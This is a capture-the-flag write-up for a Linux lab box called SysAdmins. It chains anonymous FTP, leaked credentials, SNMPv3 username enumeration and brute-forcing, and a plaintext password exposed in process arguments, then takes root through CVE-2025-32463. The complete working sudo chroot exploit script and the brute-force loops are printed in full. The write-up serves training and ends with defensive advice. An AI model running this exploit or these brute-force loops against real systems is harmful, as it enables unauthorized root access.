HackSmarter - SysAdmins

Sypnosis

SysAdmins is a Linux-based challenge lab that simulates a real-world breach scenario. The box exposes FTP, SSH, HTTP, and SNMP services. Initial access is gained by chaining information disclosure across multiple protocols and services: an anonymously-accessible FTP share leaks a data breach notification pointing to a public Pastebin credential dump, the corporate website leaks valid usernames via its team page, and a misconfigured SNMPv3 service ultimately exposes a plaintext password embedded in a running process's command-line arguments — granting SSH access as helena. Root is then obtained by exploiting CVE-2025-32463, a critical privilege escalation vulnerability in sudo's chroot (-R) feature.

Objectives

You have been hired to perform a penetration test against a sensitive Linux server in the client's internal network. Your task is to thoroughly enumerate the machine, identify all vulnerabilities, and (if possible) elevate your privileges to root to demonstrate impact.

Skills Required

• Basic TCP/UDP port scanning and service enumeration
• Familiarity with FTP anonymous access
• Basic web enumeration (manual browsing / source inspection)
• Understanding of SNMP versions (v1/v2c vs v3) and why community-string tools like Hydra don't apply to SNMPv3
• Comfort reading public CVE advisories and PoC repositories on GitHub
• Basic Linux privilege escalation methodology

Skills Learned

• Enumerating and exploiting anonymous FTP access
• Correlating OSINT (leaked breach data, employee names from a website) into a usable attack path
• Distinguishing SNMPv3 authentication errors (Unknown user name vs authorizationError) to enumerate valid usernames without full credential guessing
• Brute-forcing SNMPv3 authNoPriv credentials with a filtered password list
• Using snmpbulkwalk / hrSWRunParameters to discover plaintext credentials leaked via process arguments
• Exploiting CVE-2025-32463 (sudo chroot privilege escalation) to escalate from a low-privileged user to root

Enumeration

Port Scanning (TCP)

An initial rustscan scan revealed three open TCP ports:

rustscan -a 10.1.79.169 -- -sC -sV -oN rustscan_scans.txt

Output:

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍

[~] The config file is expected to be at "/home/zor0ark/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.1.79.169:21
Open 10.1.79.169:22
Open 10.1.79.169:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -sC -sV -oN rustscan_scans.txt" on ip 10.1.79.169
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-05 23:15 +0800
<SNIPPED>

PORT   STATE SERVICE REASON         VERSION
21/tcp open  ftp     syn-ack ttl 62 vsftpd 3.0.5
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.0.0.247
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             742 Jul 13 12:39 data_breach_notification.txt
22/tcp open  ssh     syn-ack ttl 62 OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 e7:26:9a:a9:16:cb:fc:82:4b:dd:f9:85:60:86:70:8d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN9gd4D7tpOjvAdpQkX4K9uv4XQP0MGAnru6LPtxKreqBeA/6xwDY55R1LNEmlG0q9nnl2W2PVMqbVDjbVrVrVI=
|   256 c8:ae:e8:56:7b:51:c5:49:8b:42:c0:dd:df:02:56:eb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINiUdVgJ5hDrb22eWQ2AESj1TX3ayZ5MbD3OCtSf4Cso
80/tcp open  http    syn-ack ttl 62 nginx 1.24.0 (Ubuntu)
|_http-title: Sysadmins - System Administration Services
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Notably, the FTP service allowed anonymous login (FTP code 230).

FTP Enumeration

Logging in anonymously to FTP revealed a single file:

ftp anonymous@sysadmins.hsm

Connected to sysadmins.hsm.
220 (vsFTPd 3.0.5)
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> 
ftp> ls
229 Entering Extended Passive Mode (|||16966|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0             742 Jul 13 12:39 data_breach_notification.txt
226 Directory send OK.
ftp> get data_breach_notification.txt
<SNIPPED>

226 Transfer complete.
742 bytes received in 00:00 (2.32 KiB/s)
ftp> bye
221 Goodbye.

Downloading and reading this file revealed an internal data breach notice from "Peter, Lead Sysadmin," referencing a Pastebin link containing leaked credentials:

cat data_breach_notification.txt

Hi team,

We are writing to inform you of a recent data breach that may have affected some of your information.

Last week, a threat actor accessed our systems after compromising a vulnerable web application and exfiltrated some users' passwords, along with usernames and emails.

We strongly recommend that you change your password as soon as possible if your details appear in the data leak published by the attacker at https[:]//pastebin[.]com/mqPMU1cF.

We'll continue to share updates through this channel.

Please do not hesitate to reach out to us if you have any questions.

Our team is working around the clock to deal with this situation, and we really appreciate your patience and understanding.

Kind regards,
Peter
Lead Sysadmin

The Pastebin link was retrieved, yielding a leaked password dump, saved locally as SysAdmins Passwords Leak.txt.

Web Enumeration

Browsing to http://sysadmins.hsm revealed a static corporate site with the following pages of interest:

Reviewing assets/js/script.js confirmed the contact form only performs client-side validation with no exposed backend logic — a dead end for this path.

Since no username list was included in the Pastebin leak, a usernames.txt wordlist was manually built from the names disclosed on /team.html, combined with a few common role-based guesses (admin, support) and case variations, to use against the leaked passwords in later stages.

Failed SSH Brute Force (Dead End)

With a manually-built username list and the leaked password file in hand, the first instinct was to attempt SSH credential brute-forcing with Hydra:

hydra -L usernames.txt -P SysAdmins_Passwords_Leak.txt ssh://10.1.79.169

This attempt was run to exhaustion without a single valid hit — none of the leaked credential combinations were valid for SSH directly. This ruled out SSH as the intended initial entry point and prompted a pivot to check for additional, less obvious services beyond the three TCP ports already found — specifically, a full UDP sweep.

Port Scanning (UDP) / SNMP

nmap 10.1.79.169 -sU -sV

Output:

PORT    STATE         SERVICE VERSION
68/udp  open|filtered dhcpc
161/udp open          snmp    net-snmp; net-snmp SNMPv3 server

A follow-up targeted scan confirmed SNMPv3 specifically (not v1/v2c), meaning community-string brute-forcing (e.g. via Hydra's SNMP module) would not work here either — valid username + auth passphrase pairs are required instead.

Initial Access

Identifying a Valid SNMPv3 Username

Using the manually-built usernames.txt list, each username was tested against the SNMPv3 service without authentication to observe differing error responses:

for user in $(cat usernames.txt); do echo "user: $user"; snmpwalk -u "$user" 10.1.79.169; done

Output:

user: peter
snmpwalk: Unknown user name
user: waserby
Error in packet.
Reason: authorizationError (access denied to that object)

Two distinct error types were observed:

• Unknown user name → the username does not exist on the SNMP engine.
• Error in packet. Reason: authorizationError (access denied to that object) → the username is valid, but no authentication was provided.

This confirmed waserby as a valid SNMPv3 identity.

Cracking the SNMPv3 Auth Passphrase

The leaked password file (SysAdmins_Passwords_Leak.txt) contained Windows-style line endings and was converted for use:

dos2unix SysAdmins_Passwords_Leak.txt

Since SNMPv3 requires auth passphrases of at least 8 characters, the list was filtered and brute-forced against the waserby account using authNoPriv:

for p in $(grep -E '\S{8,}' SysAdmins_Passwords_Leak.txt); do
  snmpwalk -u waserby -A "$p" -l authNoPriv 10.1.79.169 1.3.6.1.2.1.1.5.0 2>/dev/null \
    && echo "found $p"
done

Result:

iso.3.6.1.2.1.1.5.0 = STRING: "sysadmins"
found butterfly

Valid SNMPv3 credentials: waserby / butterfly (authNoPriv, MD5)

Dumping the Full MIB Tree

With valid credentials, a full SNMP bulk walk was performed:

snmpbulkwalk -v3 -u waserby -l authNoPriv -A butterfly 10.1.79.169 > snmp_full.txt

Grepping the dump for credential-related keywords revealed a running process with a plaintext password embedded in its command-line arguments:

grep -iE "pass|pwd|token|secret|key" snmp_full.txt

iso.3.6.1.2.1.25.4.2.1.5.2924 = STRING: "-c sshpass -p 'PerfectIsTheEnemyOfDone223!' ssh helena@sysadmins; sleep 60"

This is a classic SNMP hrSWRunParameters information disclosure — a scheduled script (likely a cron job or monitoring health-check, given the sleep 60 loop) was leaking helena's plaintext SSH password via the process table, which is world-readable through SNMP's Host Resources MIB.

Gaining SSH Access

Using the disclosed credentials:

ssh helena@10.1.79.169
# Password: PerfectIsTheEnemyOfDone223!

Access was granted successfully:

helena@sysadmins:~$ ls
user.txt
helena@sysadmins:~$ cat user.txt
[REDACTED]

Privilege Escalation Enumeration

With a shell as helena, standard privesc enumeration was performed. Checking the installed sudo version proved to be the key lead:

helena@sysadmins:~$ sudo --version
Sudo version 1.9.16p2
Sudoers policy plugin version 1.9.16p2
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.16p2
Sudoers audit plugin version 1.9.16p2

Sudo version 1.9.16p2 is affected by CVE-2025-32463, a critical (CVSS 9.3) local privilege escalation vulnerability in sudo's --chroot (-R) option. The flaw allows a local user — even without any sudo rules granted to them — to escalate to root by abusing how sudo resolves NSS (Name Service Switch) configuration inside an attacker-controlled chroot environment.

A quick manual test confirmed the -R flag was reachable (even though no filesystem target existed yet):

helena@sysadmins:~$ sudo -R woot woot
sudo: woot: No such file or directory

This confirmed the vulnerable code path was present and reachable without needing any prior sudo privileges.

Proof-of-Concept Github Reference

The public PoC repository for CVE-2025-32463 was located and reviewed:

• Repository: pr0v3rbs/CVE-2025-32463_chwoot
• Title: CVE-2025-32463 – sudo chroot ("chwoot") PoC
• Reported by: Rich Mirch (@0xm1rch) @ Stratascale Cyber Research Unit (CRU)
• NVD Reference: CVE-2025-32463 — CVSS 9.3 (Critical)

The core exploit script, sudo-chwoot.sh, works as follows:

1. Creates a temporary staging directory (mktemp -d).
2. Compiles a small malicious shared library (woot1337.c) with a constructor function that calls setreuid(0,0) / setregid(0,0) and then execls a shell — meaning the code runs as root the moment the library is loaded.
3. Fakes an /etc/nsswitch.conf inside the staging directory pointing the passwd NSS lookup at the malicious shared object (libnss_/woot1337.so.2).
4. Copies the real /etc/group into the staged directory to keep group resolution working.
5. Invokes sudo -R <staged_dir> woot, tricking sudo into chrooting into the attacker-controlled directory and loading the malicious NSS library while still running its own privileged pre-exec logic — resulting in the constructor executing as root.

Exploit Script

#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
#                  @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

if [ $# -eq 0 ]; then
    # If no command is provided, default to an interactive root shell.
    CMD="/bin/bash"
else
    # Otherwise, use the provided arguments as the command to execute.
    CMD="$@"
fi

# Escape the command to safely include it in a C string literal.
# This handles backslashes and double quotes.
CMD_C_ESCAPED=$(printf '%s' "$CMD" | sed -e 's/\\/\\\\/g' -e 's/"/\\"/g')

cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}

Execution

The exploit script was created on the target and made executable:

helena@sysadmins:~$ nano sudo-chwoot.sh
helena@sysadmins:~$ chmod +x sudo-chwoot.sh
helena@sysadmins:~$ ./sudo-chwoot.sh
woot!
root@sysadmins:/#

The woot! output combined with the prompt changing to root@sysadmins:/# confirmed successful privilege escalation to root.

Getting Root Flag

root@sysadmins:/# cd root
root@sysadmins:/root# ls
cleanup.sh  root.txt
root@sysadmins:/root# cat root.txt
[REDACTED]

Conclusion

The SysAdmins box demonstrates a realistic, multi-stage attack chain built almost entirely from information disclosure rather than any single flashy exploit:

1. Anonymous FTP leaked an internal breach notice pointing to a public credential dump.
2. Manual OSINT on the company website's Team page supplied the usernames the leak itself didn't include.
3. An initial SSH brute-force attempt failed, correctly ruling out the "obvious" path and forcing a pivot to a full UDP scan, which revealed SNMPv3.
4. SNMPv3's distinct error responses allowed username enumeration without needing valid credentials first, and a filtered password brute-force cracked the waserby account.
5. SNMP's Host Resources MIB (hrSWRunParameters) leaked a plaintext SSH password for helena embedded in a scheduled script's command line — a textbook example of why credentials should never be passed via CLI arguments.
6. Finally, an outdated sudo 1.9.16p2 build was vulnerable to CVE-2025-32463, allowing trivial escalation to root via the chwoot technique with no sudo rules required.

Key takeaways for defenders:

• Disable anonymous FTP access, especially on hosts storing internal communications.
• Rotate credentials immediately after any breach — leaked passwords should never remain valid on internal services.
• Avoid publishing employee names/roles on public-facing pages where they can be trivially harvested for username enumeration.
• Never pass secrets via command-line arguments (sshpass -p); use SSH keys, environment files with restricted permissions, or a secrets manager instead — process arguments are visible system-wide, including through SNMP.
• Keep sudo patched. CVE-2025-32463 is trivially exploitable and grants full root with no pre-existing privileges.